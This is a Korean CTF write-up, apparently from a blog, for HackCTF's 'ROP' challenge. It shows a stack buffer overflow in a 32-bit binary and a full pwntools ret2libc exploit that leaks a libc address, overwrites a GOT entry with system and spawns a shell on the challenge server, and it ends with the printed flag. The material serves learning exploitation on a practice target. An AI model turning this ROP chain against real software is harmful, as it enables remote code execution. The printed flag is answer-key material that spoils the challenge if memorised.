-
ROPCTF/HackCTF 2021. 2. 1. 23:44
Disassembly 디스어셈블리
undefined4 main(void) { int32_t var_4h; vulnerable_function(); write(1, "Hello, World!\n", 0xe); return 0; }
void vulnerable_function(void) { int32_t var_88h; read(0, &var_88h, 0x100); return; }
vulnerable_function에서 read로 0x100만큼 입력받아 스택 버퍼 오버플로우가 발생한다.
Return Oriented Programming
목표는 systen("/bin/sh")를 호출하는 것이므로 라이브러리 주소를 알아야 한다.
payload = b"A"*0x8c payload += p32(write_plt) payload += p32(pppr) payload += p32(1) + p32(read_got) + p32(0x4)
read의 got에 적힌 값을 읽어와 libc base address를 구하고, 이를 바탕으로 system의 주소를 알아냈다.
read = u32(p.recv(8)) libc = read - l.symbols["read"] system = libc + l.symbols["system"] log.info("libc : " + hex(libc))
이후에는 라이브러리에 존재하는 oneshot gadget이나 binsh 문자열을 사용하는 방법도 있고, 아니면 쓰기 가능한 영역에 "/bin/sh\x00"을 덮어쓰는 방법도 있다. 결과적으로 system과 binsh 문자열의 주소를 ROP를 통해 구하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./rop" lib = "./libc.so.6" server = "ctf.j0n9hyun.xyz" port = 3021 # context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) r = ROP(e) l = ELF(lib) pppr = (r.find_gadget(['pop esi', 'pop edi', 'pop ebp', 'ret']))[0] main = e.symbols["main"] write_plt = e.plt["write"] write_got = e.got["write"] read_plt = e.plt["read"] read_got = e.got["read"] payload = b"A"*0x8c payload += p32(write_plt) payload += p32(pppr) payload += p32(1) + p32(read_got) + p32(0x4) payload += p32(read_plt) payload += p32(pppr) payload += p32(0) + p32(write_got) + p32(0x12) payload += p32(write_plt) payload += p32(0) payload += p32(write_got+0x4) p.send(payload) read = u32(p.recv(8)) libc = read - l.symbols["read"] system = libc + l.symbols["system"] log.info("libc : " + hex(libc)) payload = p32(system) payload += b"/bin/sh\x00" p.send(payload) p.interactive()
Flag
HackCTF{4bcd3fg7ijPlmA4pqrtuvxza2cdef}
'CTF > HackCTF' 카테고리의 다른 글
Register (0) 2021.02.04 Unexploitable #1 (0) 2021.02.04 You are silver (0) 2021.02.01 Gift (0) 2021.02.01 Loot at me (0) 2021.02.01